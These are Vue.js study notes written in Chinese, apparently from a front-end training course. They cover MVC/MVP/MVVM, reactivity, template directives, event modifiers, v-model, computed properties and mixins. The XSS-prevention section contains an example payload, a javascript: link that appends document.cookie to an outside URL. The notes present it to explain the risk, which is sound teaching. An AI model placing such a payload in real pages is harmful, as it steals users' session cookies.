好程式設計師 web 前端培訓學習筆記Vue 學習筆記一了不起的vue

1.官方介紹

Vue (讀音 /vjuː/，類似於 view) 是一套用於構建使用者介面的漸進式框架。與其它大型框架不同的是，Vue 被設計為可以自底向上逐層應用。

Vue 的核心庫只關注檢視層，不僅易於上手，還便於與第三方庫或既有專案整合。

另一方面，當與現代化的工具鏈以及各種支援類庫結合使用時，Vue 也完全能夠為複雜的單頁應用提供驅動。

2.漸進式

框架做分層設計，每層都可選，不同層可以靈活接入其他方案。而當你都想用官方的實現時，會發現也早已準備好，各層之間包括配套工具都能比接入其他方案更便捷地協同工作。

一個個放入,放多少就做多少。

**3. MV* 模式（MVC/MVP/MVVM）**

· "MVC": model view controller
使用者對View操作以後，View捕獲到這個操作，會把處理的權利交移給Controller（Pass calls）；Controller會對來自View資料進行預處理、決定呼叫哪個Model的介面；然後由Model執行相關的業務邏輯（資料請求）；當Model變更了以後，會透過 觀察者模式（Observer Pattern） 通知View；View透過 觀察者模式 收到Model變更的訊息以後，會向Model請求最新的資料，然後重新更新介面。把業務邏輯和展示邏輯分離，模組化程度高。但由於View是強依賴特定的Model的，所以View無法元件化，無法複用

· "MVP": model view presenter
和MVC模式一樣，使用者對View的操作都會從View交移給Presenter。Presenter會執行相應的應用程式邏輯，並且對Model進行相應的操作；而這時候Model執行完業務邏輯以後，也是透過觀察者模式把自己變更的訊息傳遞出去，但是是傳給Presenter而不是View。Presenter獲取到Model變更的訊息以後， 透過View提供的介面更新介面 。 View不依賴Model，View可以進行元件化。但Model->View的手動同步邏輯麻煩，維護困難

· "MVVM": model view viewmodel
MVVM的呼叫關係和MVP一樣。但是，在ViewModel當中會有一個叫Binder，或者是Data-binding engine的東西。你只需要在View的模版語法當中，指令式地宣告View上的顯示的內容是和Model的哪一塊資料繫結的。當ViewModel對進行Model更新的時候，Binder會自動把資料更新到View上去，當使用者對View進行操作（例如表單輸入），Binder也會自動把資料更新到Model上去。這種方式稱為：Two-way data-binding，雙向資料繫結。 可以簡單而不恰當地理解為一個模版引擎，但是會根據資料變更實時渲染。 解決了MVP大量的手動View和Model同步的問題，提供雙向繫結機制。提高了程式碼的可維護性。對於大型的圖形應用程式，檢視狀態較多，ViewModel的構建和維護的成本都會比較高。

二. Vue 心跳體驗

· 直接下載並用 <script> 標籤引入，Vue 會被註冊為一個全域性變數。

<script src="

命令列工具vue cli

· Vue 提供了一個官方的 CLI ，為單頁面應用 (SPA) 快速搭建繁雜的腳手架。

npm install -g @vue/cli

三. 真相只有一個-資料繫結原理

https:// cn.vuejs.org/v2/guide/r eactivity.html

當你把一個普通的 JavaScript 物件傳入 Vue 例項作為 data 選項，Vue 將遍歷此物件所有的屬性，並使用 Object.defineProperty 把這些屬性全部轉為 getter/setter。Object.defineProperty 是 ES5 中一個無法 shim 的特性，這也就是 Vue 不支援 IE8 以及更低版本瀏覽器的原因。

每個元件例項都對應一個 watcher 例項，它會在元件渲染的過程中把“接觸”過的資料屬性記錄為依賴。之後當依賴項的 setter 觸發時，會通知 watcher，從而使它關聯的元件重新渲染。

注意：vue3 的變化

Object.defineProperty有以下缺點。

1、無法監聽es6的Set、Map 變化；

2、無法監聽Class型別的資料；

3、屬性的新加或者刪除也無法監聽；

4、陣列元素的增加和刪除也無法監聽。

針對Object.defineProperty的缺點，ES6 Proxy都能夠完美得解決，它唯一的缺點就是，對IE不友好,所以vue3在檢測到如果是使用IE的情況下（沒錯，IE11都不支援Proxy），會自動降級為Object.defineProperty的資料監聽系統。

四. 模板語法

1. 插值

· 文字 {{}}

· 純HTML v-html

· 防止XSS,CSRF
(1) 前端過濾
(2) 後臺轉義(< > < >)
(3) 給cookie 加上屬性 http

< a href = "javascript:location.href='http://www.baidu.com?cookie='+document.cookie" >

click </ a >

· 表示式

· 指令：是帶有 v- 字首的特殊屬性

v - bind 動態繫結屬性v -if 動態建立 / 刪除v - show 動態顯示 / 隱藏v - on : click 繫結事件v -for 遍歷v - model 雙向繫結表單

· 縮寫

v - bind : src => : srcv - on : click => @ click

2. class 與 style

(1)繫結HTML Class

· 物件語法

· 陣列語法

(2)繫結內聯樣式

· 物件語法

· 陣列語法

//需要將 font-size =>fontSize

3.條件渲染

( 1 )v -if ( 2 )v -else v -else-if ( 3 )template v -if ,包裝元素template 不會被建立( 4 )v - show

4.列表渲染

(1)v-for (特殊 v-for="n in 10")

· in

· of

//沒有區別

(2)key：

· 跟蹤每個節點的身份，從而重用和重新排序現有元素

· 理想的 key 值是每項都有的且唯一的 id。data.id

(3)陣列更新檢測

· a. 使用以下方法運算元組，可以檢測變動
push() pop() shift() unshift() splice() sort() reverse()

· b. filter(), concat() 和 slice() ,map() ,新陣列替換舊陣列

· c. 不能檢測以下變動的陣列

vm.items[indexOfItem] = newValue

解決

( 1 ) Vue.set(example1.items, indexOfItem, newValue)( 2 ) splice

(4)應用:顯示過濾結果

5.事件處理

(1)監聽事件-直接觸發程式碼

(2)方法事件處理器-寫函式名 handleClick

(3)內聯處理器方法-執行函式表示式 handleClick($event) $event 事件物件

(4)事件修飾符 https:// cn.vuejs.org/v2/guide/e vents.html

· .stop

· .prevent

· .capture

· .self

· .once

· .passive

每次事件產生，瀏覽器都會去查詢一下是否有preventDefault阻止該次事

件的預設動作。我們加上**passive就是為了告訴瀏覽器，不用查詢了，我們沒用**

**preventDefault阻止預設動作。**

這裡一般用在滾動監聽，@scroll，@touchmove 。因為滾動監聽過程中，移動每個畫素都會產生一次事件，每次都使用核心執行緒查詢prevent會使滑動卡頓。我們透過passive將核心執行緒查詢跳過，可以大大提升滑動的流暢度。

(5)按鍵修飾符

6.表單控制元件繫結/雙向資料繫結

v-model

(1)基本用法

· 購物車

(2)修飾符

· .lazy :失去焦點同步一次

· .number :格式化數字

· .trim : 去除首尾空格

7. 計算屬性

複雜邏輯,模板難以維護

(1) 基礎例子

(2) 計算快取 VS methods

· 計算屬性是基於它們的依賴進行快取的。

· 計算屬性只有在它的相關依賴發生改變時才會重新求值

8. Mixins

混入 (mixins) 是一種分發 Vue 元件中可複用功能的非常靈活的方式。

混入物件可以包含任意元件選項。

當元件使用混入物件時，所有混入物件的選項將被混入該元件本身的選項。

好程式設計師web前端培訓學習筆記Vue學習筆記一